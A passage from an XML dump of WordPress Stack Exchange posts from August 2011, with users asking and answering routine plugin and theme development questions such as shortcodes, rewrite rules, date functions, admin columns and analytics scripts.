'1.0' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4209" LastEditorUserId="4209" LastEditorDisplayName="" LastEditDate="2011-08-29T10:08:58.880" LastActivityDate="2011-08-29T10:08:58.880" CommentCount="5" />
  <row Id="27168" PostTypeId="1" CreationDate="2011-08-29T08:04:54.353" Score="0" ViewCount="14" Body="&lt;p&gt;i want to display all posts as well as count the days of the post since it was published&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if ($pageposts):&#xA;  foreach ($pageposts as $post):&#xA;        setup_postdata($post);&#xA;    echo '&lt;p&gt;';&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the_title();&lt;/p&gt;&#xA;&#xA;&lt;p&gt;echo '&lt;/p&gt;';&#xA;  endforeach;&#xA;endif;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Output should be something like this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Post Title1 - This post is published 4 days ago&#xA;Post Title2 - This post is published 3 days ago&#xA;Post Title3 - This post is published 6 days ago&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and at the same time i want to delete the post once it reaches 10 days&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I really need your help guys thanks i appreaciate it alot&lt;/p&gt;&#xA;" OwnerUserId="8008" LastActivityDate="2011-08-29T08:39:16.453" Title="Automatic Delete post on a specific date" Tags="&lt;posts&gt;" AnswerCount="1" />
  <row Id="27169" PostTypeId="2" ParentId="27168" CreationDate="2011-08-29T08:39:16.453" Score="0" ViewCount="" Body="&lt;p&gt;There's a small thread in &lt;a href=&quot;http://wordpress.org/support/topic/automatically-delete-posts-after-x-number-of-days&quot; rel=&quot;nofollow&quot;&gt;WordPress support for this question&lt;/a&gt;, they recommend two plugins, &lt;a href=&quot;http://wordpress.org/extend/plugins/post-expirator/&quot; rel=&quot;nofollow&quot;&gt;Post Expirator&lt;/a&gt; and &lt;a href=&quot;http://wordpress.org/extend/plugins/auto-prune-posts/&quot; rel=&quot;nofollow&quot;&gt;Auto Prune Posts&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="4209" LastActivityDate="2011-08-29T08:39:16.453" />
  <row Id="27170" PostTypeId="1" CreationDate="2011-08-29T08:40:04.063" Score="0" ViewCount="10" Body="&lt;p&gt;I am trying to create simple quiz plugin. I have created widget having two text boxes which will store quiz title and quiz question and also having 4 option button like(A,B,C,D) with option text boxes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so i can store option answer in corresponding text boxes  and select correct option in Admin End. So far I have done the above and display the QUIZ title and question and also displaying option button with respective answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here I want to store the user information with selected answer and also same information which should populate in admin end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have done the widget part.I do not have the idea that where we can populate the answered user information in Admin and How.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope all understand my requirement.Kindly help me on this.&lt;/p&gt;&#xA;" OwnerUserId="8237" LastEditorUserId="8237" LastEditorDisplayName="" LastEditDate="2011-08-29T08:45:05.180" LastActivityDate="2011-08-29T08:45:05.180" Title="How to pass data from front end and store the same data in wp tables using plugin" Tags="&lt;plugin-development&gt;" />
  <row Id="27171" PostTypeId="2" ParentId="26829" CreationDate="2011-08-29T08:46:11.370" Score="1" ViewCount="" Body="&lt;p&gt;There's an option  in the network management for this. &lt;em&gt;Unfortunately my only available domain mapped network sites are in Hungarian, sorry if I don't use the exact name of the menu.&lt;/em&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to Network Administration -&gt; Settings -&gt; Domain mapping. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll see a checkbox titled &quot;Redirect administration pages to site's original domain (remote login disabled if this redirect is disabled)&quot;, I think you're searching for this.&lt;/p&gt;&#xA;" OwnerUserId="4209" LastActivityDate="2011-08-29T08:46:11.370" />
  <row Id="27172" PostTypeId="2" ParentId="18720" CreationDate="2011-08-29T08:54:04.307" Score="0" ViewCount="" Body="&lt;p&gt;Specify a unique ID at the start of the theme. This will be an identification string in a custom field for the newly created post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before you add the post, search for posts with this unique ID in custom fields. If you don't find it, add the post AND the custom field with it as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Displaying_Posts_Using_a_Custom_Select_Query&quot; rel=&quot;nofollow&quot;&gt;Here you can find examples how to query posts by custom fields&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="4209" LastActivityDate="2011-08-29T08:54:04.307" />
  <row Id="27173" PostTypeId="1" AcceptedAnswerId="27176" CreationDate="2011-08-29T09:23:39.170" Score="2" ViewCount="30" Body="&lt;p&gt;I need to determine whether the reading settings are set to use a static page or the latest post for the front page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a conditional that will return true if the front page is set to show a static page? I don't need to check what page the static page might be, just if its a static page at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For this scenario would it be correct to use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if( is_front_page() &amp;amp;&amp;amp; !is_home() ){&#xA;   // seems we're on the front but not on the blog home,&#xA;   // so it must be a static page..&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2071" LastActivityDate="2011-08-29T14:08:34.770" Title="how to check if front page is set to show a static page" Tags="&lt;conditional-tags&gt;" AnswerCount="1" />
  <row Id="27174" PostTypeId="2" ParentId="27152" CreationDate="2011-08-29T09:25:06.203" Score="1" ViewCount="" Body="&lt;p&gt;You can try &lt;a href=&quot;http://www.zurb.com/playground/jquery_image_slider_plugin&quot; rel=&quot;nofollow&quot;&gt;Anything Slider&lt;/a&gt; from &lt;strong&gt;Chris Coyier&lt;/strong&gt; and others.&lt;br&gt;&#xA;There's also a WordPress  plugin for it - &lt;a href=&quot;http://wordpress.org/extend/plugins/anythingslider-for-wordpress/&quot; rel=&quot;nofollow&quot;&gt;AnythingSlider for WordPress&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Recently released and my personal favorite is the &lt;a href=&quot;http://www.zurb.com/playground/jquery_image_slider_plugin&quot; rel=&quot;nofollow&quot;&gt;Orbit slider&lt;/a&gt; from &lt;strong&gt;Zurb / Smashing Magazine&lt;/strong&gt;. Afaik there's no WordPress clone yet but I'm using it in my own plugin and it works great. It's not something I could release until more work is done but I can offer a helping hand / some code snippets if you would decide to use it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both can slide &lt;code&gt;div&lt;/code&gt;s and &lt;code&gt;li&lt;/code&gt;s with &lt;strong&gt;any kind of content&lt;/strong&gt; inside them.&lt;/p&gt;&#xA;" OwnerUserId="2110" LastEditorUserId="2110" LastEditorDisplayName="" LastEditDate="2011-08-30T08:26:19.923" LastActivityDate="2011-08-30T08:26:19.923" CommentCount="3" />
  <row Id="27175" PostTypeId="1" AcceptedAnswerId="27261" CreationDate="2011-08-29T09:31:13.917" Score="1" ViewCount="26" Body="&lt;p&gt;I am developing a plugin, but during the activation phrase I am constantly facing bugs. However there is no easy way to display error messages, since echoing stuff would result in 'unexpacted output' error. I tried the admin_message hook but it doesn't work. How can I alert the user if some stage of the activation has failed with reason?&lt;/p&gt;&#xA;" OwnerUserId="6858" LastEditorUserId="6858" LastEditorDisplayName="" LastEditDate="2011-08-29T10:08:07.183" LastActivityDate="2011-08-30T10:38:33.583" Title="How to output message during plugin activation" Tags="&lt;plugin-development&gt;&lt;activation&gt;" AnswerCount="1" />
  <row Id="27176" PostTypeId="2" ParentId="27173" CreationDate="2011-08-29T09:37:13.127" Score="3" ViewCount="" Body="&lt;p&gt;Your conditional logic makes sense as well but you're probably looking for this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( 'page' == get_option('show_on_front') ) {&#xA;   // do something&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hint: You can append &lt;code&gt;options.php&lt;/code&gt; to the WordpPress admin url like this:&lt;br&gt;&#xA;&lt;code&gt;http://www.example.com/wp-admin/options.php&lt;/code&gt; to see all options.&lt;br&gt;&#xA;&lt;em&gt;( that's where I found the answer for you .)&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="2110" LastEditorUserId="2110" LastEditorDisplayName="" LastEditDate="2011-08-29T14:08:34.770" LastActivityDate="2011-08-29T14:08:34.770" CommentCount="3" />
  <row Id="27177" PostTypeId="1" AcceptedAnswerId="27196" CreationDate="2011-08-29T09:53:28.343" Score="0" ViewCount="16" Body="&lt;p&gt;I'm developing a simple plugin for letting a user insert a post from the frontend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a shortcode [add-post] which a user can put on any page, say, for eg. My Wall Page&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now on My Wall Page a simple form comes up which has a title field, a content field and a category select field so that user can choose which category to put his post into.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure as what the action should be?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_shortcode('add-post','my_fucntion');&#xA;function my_function(){&#xA;  &amp;lt;form&amp;gt;...My form for inserting a new post goes here...&amp;lt;/form&amp;gt;&#xA;}&#xA;&#xA;add_action('????', 'my_fucntion');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What should the hook be? I tried 'init', 'widgets_init' but to no avail. If i don't add any action or even if I do add 'init' or 'widgets_init', it displays my form 3 times; two times at the top and one time in place of the shortcode (i.e, it replaces my shortcode)&lt;/p&gt;&#xA;" OwnerUserId="7767" LastActivityDate="2011-08-29T14:34:37.363" Title="add action for displaying posts using a shortcode" Tags="&lt;plugins&gt;&lt;plugin-development&gt;&lt;hooks&gt;&lt;actions&gt;" AnswerCount="1" />
  <row Id="27178" PostTypeId="2" ParentId="21264" CreationDate="2011-08-29T10:00:27.630" Score="0" ViewCount="" Body="&lt;p&gt;For example: I'm a Hungarian user, but my IP shows I'm in Germany while I use an English browser. The most convenient would be English for me, because that is my choice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's a PHP superglobal variable, called $_SERVER. It stores information about the server running the page and about the client who requested the page. One string of this array's parameters is called HTTP_ACCEPT_LANGUAGE, sent by the browser, which in my case will be &quot;en&quot;. It can be accessed from PHP as: $_SERVER['HTTP_ACCEPT_LANGUAGE'].&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can be used to get the specified content for example with a custom field which contains values what this string can be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately I don't have the time right now to create a complete example, but if you're interested in this method, I'll prepare one. &lt;/p&gt;&#xA;" OwnerUserId="4209" LastActivityDate="2011-08-29T10:00:27.630" />
  <row Id="27179" PostTypeId="2" ParentId="18720" CreationDate="2011-08-29T10:34:06.497" Score="0" ViewCount="" Body="&lt;p&gt;a dirty fix maybe is having the post field marked as unique in the database - if first insert succeed, the second would fail&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this is a dirty fix till you find a more suitable solution&lt;/p&gt;&#xA;" OwnerUserId="692" LastActivityDate="2011-08-29T10:34:06.497" />
  <row Id="27180" PostTypeId="2" ParentId="21483" CreationDate="2011-08-29T10:36:52.420" Score="0" ViewCount="" Body="&lt;p&gt;I have used a plugin called Ultimate Category Excluder &#xA;Easily exclude categories from your front page, feeds, search , and archives&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.planetmike.com/plugins/ultimate-category-excluder/&quot; rel=&quot;nofollow&quot;&gt;http://www.planetmike.com/plugins/ultimate-category-excluder/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it worked for me :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this is an easy fix&lt;/p&gt;&#xA;" OwnerUserId="692" LastActivityDate="2011-08-29T10:36:52.420" />
  <row Id="27181" PostTypeId="1" CreationDate="2011-08-29T11:15:19.020" Score="-1" ViewCount="22" Body="&lt;p&gt;I've almost edited dashboard of wordpress but now i'm confused with sidebar &#xA;I can't find page where appereance, posts, comments, settings etc etc.&#xA;Can anyone know where i can find codes of that sidebar &lt;/p&gt;&#xA;" OwnerUserId="8184" LastActivityDate="2011-08-29T11:15:19.020" Title="Editing wordpress dashboard" Tags="&lt;dashboard&gt;" />
  <row Id="27182" PostTypeId="1" AcceptedAnswerId="27206" CreationDate="2011-08-29T11:20:55.003" Score="0" ViewCount="39" Body="&lt;p&gt;I want to access a plugin file (when &lt;code&gt;&amp;lt;a&amp;gt;&lt;/code&gt; is clicked) without exposing actual path of the file. I am using the following rewrite rule:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_rewrite_rule( 'continue/([0-9]+)/?$', 'wp-content/plugins/my-plugin/continue.php?where=$matches[1]', 'top' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The request is redirected to &lt;code&gt;continue.php&lt;/code&gt; but I always get &lt;code&gt;$_GET['where']=$matches[1]&lt;/code&gt; instead of &lt;code&gt;$_GET['where']=123&lt;/code&gt; inside continue.php. It should have been replaced by some number. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want something similar to &lt;a href=&quot;http://wordpress.stackexchange.com/questions/8886/htaccess-or-redirect-to-cloak-portion-of-a-link&quot;&gt;this&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried &lt;a href=&quot;http://wordpress.org/extend/plugins/monkeyman-rewrite-analyzer/&quot; rel=&quot;nofollow&quot;&gt;Monkeyman Rewrite Analyzer&lt;/a&gt; but my rule does not show up in it. Then why am I being redirected to the correct page?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;e.g. for &lt;code&gt;continue/2&lt;/code&gt; it has the following output:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;(.+?)(/[0-9]+)?/?$ pagename: continue  page: /2&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="6076" LastEditorUserId="6076" LastEditorDisplayName="" LastEditDate="2011-08-29T16:52:31.450" LastActivityDate="2011-08-29T17:13:58.930" Title="add_rewrite_rule: $matches var not replaced by captured value" Tags="&lt;url-rewriting&gt;&lt;redirect&gt;&lt;rewrite-rules&gt;" AnswerCount="1" CommentCount="5" />
  <row Id="27183" PostTypeId="1" CreationDate="2011-08-29T11:23:25.450" Score="2" ViewCount="68" Body="&lt;p&gt;Both function returns date and time. What's the difference between them? Do you have any example? Thanks.&lt;/p&gt;&#xA;" OwnerUserId="8242" LastActivityDate="2011-08-29T12:02:38.477" Title="What's the difference between get_the_time and get_the_date?" Tags="&lt;plugin-development&gt;&lt;wp-admin&gt;&lt;wordpress.org&gt;&lt;date-time&gt;&lt;api&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="27184" PostTypeId="1" CreationDate="2011-08-29T11:29:17.180" Score="0" ViewCount="14" Body="&lt;p&gt;Many people report problems with pagination of custom queries or custom post type archives: url/page/2 produces a 404 even though all the setup is correct. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many end up figuring out that this is occurring because the posts_per_page of their custom loop is less than the maximum posts per page setting in the admin, which they fix by changing &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; Settings » Reading » &quot;Blog pages show at most: ____ posts&quot; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to 1. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works in my situation, but I would much prefer to change this only for this specific custom query, rather than the whole site. Is this possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The relevant WP_Query is this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$paged = (get_query_var('paged')) ? get_query_var('paged') : 1;&#xA;$wp_query = new WP_Query( array(&#xA;'post_type' =&amp;gt; 'publication',&#xA;'posts_per_page' =&amp;gt; 5,&#xA;'paged'=&amp;gt;$paged));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3564" LastActivityDate="2011-08-29T11:29:17.180" Title="Fix custom query pagination without changing site-wide posts-per-page settings" Tags="&lt;custom-post-types&gt;&lt;pagination&gt;&lt;custom-loop&gt;" />
  <row Id="27185" PostTypeId="2" ParentId="578" CreationDate="2011-08-29T11:44:11.410" Score="1" ViewCount="" Body="&lt;p&gt;I just wanted to make a quick note. On newer versions of WP, post listings on admin are handled by the WP_Posts_List_Table class. The apply_filters code is now as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( 'page' == $post_type )&#xA;        $posts_columns = apply_filters( 'manage_pages_columns', $posts_columns );&#xA;    else&#xA;        $posts_columns = apply_filters( 'manage_posts_columns', $posts_columns, $post_type );&#xA;    $posts_columns = apply_filters( &quot;manage_{$post_type}_posts_columns&quot;, $posts_columns );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So to add new columns an add_filter hook should be like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'manage_posts_columns', 'my_add_columns', 10, 2);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here goes an example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_add_columns($posts_columns, $post_type)&#xA;{&#xA;  if ('myposttype' == $post_type) {&#xA;    $posts_columns = array(&#xA;      &quot;cb&quot;            =&amp;gt; &quot;&amp;lt;input type=\&quot;checkbox\&quot; /&amp;gt;&quot;,&#xA;      &quot;title&quot;         =&amp;gt; &quot;Title&quot;,&#xA;      &quot;anothercolumn&quot; =&amp;gt; &quot;Bacon&quot;,&#xA;      &quot;date&quot;          =&amp;gt; __( 'Date' )&#xA;    );&#xA;    return $posts_columns;&#xA;  }&#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, for the post rows. This is the code that handles column data on the listings:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;default:&#xA;            ?&amp;gt;&#xA;            &amp;lt;td &amp;lt;?php echo $attributes ?&amp;gt;&amp;gt;&amp;lt;?php&#xA;                if ( is_post_type_hierarchical( $post-&amp;gt;post_type ) )&#xA;                    do_action( 'manage_pages_custom_column', $column_name, $post-&amp;gt;ID );&#xA;                else&#xA;                    do_action( 'manage_posts_custom_column', $column_name, $post-&amp;gt;ID );&#xA;                do_action( &quot;manage_{$post-&amp;gt;post_type}_posts_custom_column&quot;, $column_name, $post-&amp;gt;ID );&#xA;            ?&amp;gt;&amp;lt;/td&amp;gt;&#xA;            &amp;lt;?php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In order to retrieve our posts data, we have to add an action hook like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( &quot;manage_(here_goes_your_post_type)_posts_custom_column&quot;, &quot;my_posttype_add_column&quot;, 10, 2);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Example (this example uses taxonomies, but you could query any other stuff):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_posttype_add_column($column_name, $post_id)&#xA;{&#xA;  switch ($column_name) {&#xA;    case 'anothercolumn':&#xA;      $flavours = get_the_terms($post_id, 'flavour');&#xA;      if (is_array($flavours)) {&#xA;        foreach($flavours as $key =&amp;gt; $flavour) {&#xA;          $edit_link = get_term_link($flavour, 'flavour');&#xA;          $flavours[$key] = '&amp;lt;a href=&quot;'.$edit_link.'&quot;&amp;gt;' . $flavour-&amp;gt;name . '&amp;lt;/a&amp;gt;';&#xA;        }&#xA;        echo implode(' | ',$flavours);&#xA;      }&#xA;      break;&#xA;&#xA;    default:&#xA;      break;&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8241" LastActivityDate="2011-08-29T11:44:11.410" />
  <row Id="27186" PostTypeId="2" ParentId="27183" CreationDate="2011-08-29T11:55:02.853" Score="1" ViewCount="" Body="&lt;p&gt;The &lt;code&gt;the_date()&lt;/code&gt; template tag only outputs the post date once per occurrence; thus, if two or more posts have the same post date, that date is only output at its first occurrence in the Loop. The &lt;code&gt;the_time()&lt;/code&gt; template tag outputs the post time (using any valid date/time string), as per normal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;get_the_date()&lt;/code&gt; and &lt;code&gt;get_the_time()&lt;/code&gt; template tags, however, are essentially the same. They are used to return the respective value for &lt;code&gt;the_date()&lt;/code&gt; and &lt;code&gt;the_time()&lt;/code&gt;. &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_the_date&quot; rel=&quot;nofollow&quot;&gt;As per the Codex&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Unlike &lt;a href=&quot;http://codex.wordpress.org/Template_Tags/the_date&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;the_date()&lt;/code&gt;&lt;/a&gt; this tag will &lt;strong&gt;always return&lt;/strong&gt; the date. Modify output with 'get_the_date' filter.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So, the difference lies not in the &lt;code&gt;get_the_*()&lt;/code&gt; template tags themselves, but in the &lt;code&gt;the_*()&lt;/code&gt; template tags that use them.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-08-29T11:55:02.853" />
  <row Id="27187" PostTypeId="1" CreationDate="2011-08-29T11:57:33.210" Score="2" ViewCount="54" Body="&lt;p&gt;I haven't decided what theme to have on my WordPress site yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I do want Google Analytics on the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before installing Google Analytics on the site, do I need to decide on the theme?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i.e. does the Google Analytics code go into a file that is specific to the theme, or that changes with a changed theme?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="8223" LastActivityDate="2011-08-29T15:52:20.857" Title="Can I install Analytics before deciding on a theme?" Tags="&lt;theme-options&gt;&lt;google-analytics&gt;" AnswerCount="3" />
  <row Id="27188" PostTypeId="2" ParentId="27183" CreationDate="2011-08-29T12:02:38.477" Score="5" ViewCount="" Body="&lt;p&gt;They are, very similar but with some nuances:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_the_date( $d = '' ) {&#xA;    global $post;&#xA;    $the_date = '';&#xA;&#xA;    if ( '' == $d )&#xA;        $the_date .= mysql2date(get_option('date_format'), $post-&amp;gt;post_date);&#xA;    else&#xA;        $the_date .= mysql2date($d, $post-&amp;gt;post_date);&#xA;&#xA;    return apply_filters('get_the_date', $the_date, $d);&#xA;}&#xA;&#xA;function get_the_time( $d = '', $post = null ) {&#xA;    $post = get_post($post);&#xA;&#xA;    if ( '' == $d )&#xA;        $the_time = get_post_time(get_option('time_format'), false, $post, true);&#xA;    else&#xA;        $the_time = get_post_time($d, false, $post, true);&#xA;    return apply_filters('get_the_time', $the_time, $d, $post);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;get_the_date()&lt;/code&gt; always works for current global &lt;code&gt;$post&lt;/code&gt;,  &lt;code&gt;get_the_time()&lt;/code&gt; allows you to specify post as argument.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;They default to different formats, stored in &lt;code&gt;date_format&lt;/code&gt; and &lt;code&gt;time_format&lt;/code&gt; options respectively.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;They pass output through different filters &lt;code&gt;get_the_date&lt;/code&gt; and &lt;code&gt;get_the_time&lt;/code&gt; plus lower level &lt;code&gt;get_post_time&lt;/code&gt; respectively.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-08-29T12:02:38.477" CommentCount="1" />
  <row Id="27189" PostTypeId="2" ParentId="27187" CreationDate="2011-08-29T12:08:23.340" Score="4" ViewCount="" Body="&lt;p&gt;If you add tracking code to a theme file you will need to do this on every theme change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is considered good practice to use plugin for this, like &lt;a href=&quot;http://wordpress.org/extend/plugins/google-analytics-for-wordpress/&quot; rel=&quot;nofollow&quot;&gt;Google Analytics for WordPress&lt;/a&gt;. It will use common hooks (that every theme worth using has) to insert code and that way you don't need to think about that when changing.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-08-29T12:08:23.340" />
  <row Id="27190" PostTypeId="2" ParentId="10500" CreationDate="2011-08-29T12:22:57.930" Score="0" ViewCount="" Body="&lt;p&gt;I approached this slightly differently by simply adding noheader=true to the action url on the page where the user submits takes the action&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My handler then performs the action (ie. typically an add, update or delete) then finisheswith a wp_redirect() to the next page action (e.g add page -&gt; edit page, delete page -&gt; list page, edit page -&gt; edit page). I also pass a message on the URL so I can displayed a status such as update successfully or failed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This approach keeps all the actions: list, add, edit, delete, bulk-delete, etc in the same class and with the same admin slug so it is pretty easy to maintain and to understand.&lt;/p&gt;&#xA;" OwnerUserId="8246" LastActivityDate="2011-08-29T12:22:57.930" />
  <row Id="27191" PostTypeId="1" AcceptedAnswerId="27193" CreationDate="2011-08-29T12:26:08.503" Score="0" ViewCount="17" Body="&lt;p&gt;I'm working on creating a shortcode to embed locally hosted Quicktime movies, but I can't seem to get the default attributes to stick. Here's what I'm working with, can anyone spot anything obviously wrong? The result gives me no value for an unspecified attribute at all (in this case height/width), rather than the desired defaults of 480 and 320. If specified, it works as intended.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;function quicktime_embedder( $atts, $content = null ) {&#xA;    extract( shortcode_atts( array(&#xA;        'url' =&amp;gt; '#',&#xA;        'width' =&amp;gt; '480',&#xA;        'height' =&amp;gt; '320'&#xA;    ), $atts ) );&#xA;&#xA;    return '&amp;lt;object classid=&quot;clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B&quot;&#xA;                codebase=&quot;http://www.apple.com/qtactivex/qtplugin.cab&quot; height=&quot;300&quot; width=&quot;500&quot;&amp;gt;&#xA;                &amp;lt;param name=&quot;src&quot; value=&quot;http://www.yoursite.com/video/video1.mov&quot;&amp;gt;&#xA;                &amp;lt;param name=&quot;autoplay&quot; value=&quot;false&quot;&amp;gt;&#xA;                &amp;lt;param name=&quot;controller&quot; value=&quot;true&quot;&amp;gt;&#xA;                &amp;lt;param name=&quot;type&quot; value=&quot;video/quicktime&quot; height=&quot;'.$atts[height].'&quot; width=&quot;'.$atts[width].'&quot;&amp;gt;&#xA;                &amp;lt;embed src=&quot;'.$atts[url].'&quot;&#xA;                     height=&quot;'.$atts[height].'&quot; width=&quot;'.$atts[width].'&quot; autoplay=&quot;false&quot; type=&quot;video/quicktime&quot;&#xA;                 pluginspage=&quot;http://www.apple.com/quicktime/download/&quot;&amp;gt;&#xA;            &amp;lt;/object&amp;gt;';&#xA;}&#xA;&#xA;add_shortcode( 'quicktime', 'quicktime_embedder' );&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8245" LastActivityDate="2011-08-29T12:48:06.903" Title="Can't get default values to work with custom shortcode" Tags="&lt;shortcode&gt;&lt;embed&gt;" AnswerCount="1" />
  <row Id="27192" PostTypeId="2" ParentId="27187" CreationDate="2011-08-29T12:26:25.570" Score="3" ViewCount="" Body="&lt;p&gt;Absolutely you can keep your analytics code Theme-agnostic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most analytics code is simply a script, and scripts can (and should) be enqueued using proper hooks. In this case, the relevant hooks require nothing more than Theme support for two all-but-universal template tags: &lt;code&gt;wp_head()&lt;/code&gt; and &lt;code&gt;wp_footer()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keeping the analytics code Theme-agnostic will require writing (or using an existing) Plugin - but not a complicated one, at all. Essentially, it would be simply a hook call, and an associated callback to define the analytics code. Something like this (assuming you've got your analytics code in a file called &lt;code&gt;\js\analytics.js&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * Plugin Name: Custom Analytics Code&#xA; */&#xA;&#xA;function someprefix_enqueue_analytics_code() {&#xA;    wp_enqueue_script(&#xA;        'someprefix_analytics', // script handle&#xA;        get_template_directory_uri() . '/js/analytics.js', // script URL&#xA;        '', // dependencies; if any: array( dep1, dep2... )&#xA;        '', // version number to append to URL query string&#xA;        true // output script in the footer&#xA;    );&#xA;}&#xA;add_action( 'wp_enqueue_scripts', 'someprefix_enqueue_analytics_code' );&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And that's it!&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-08-29T12:26:25.570" CommentCount="2" />
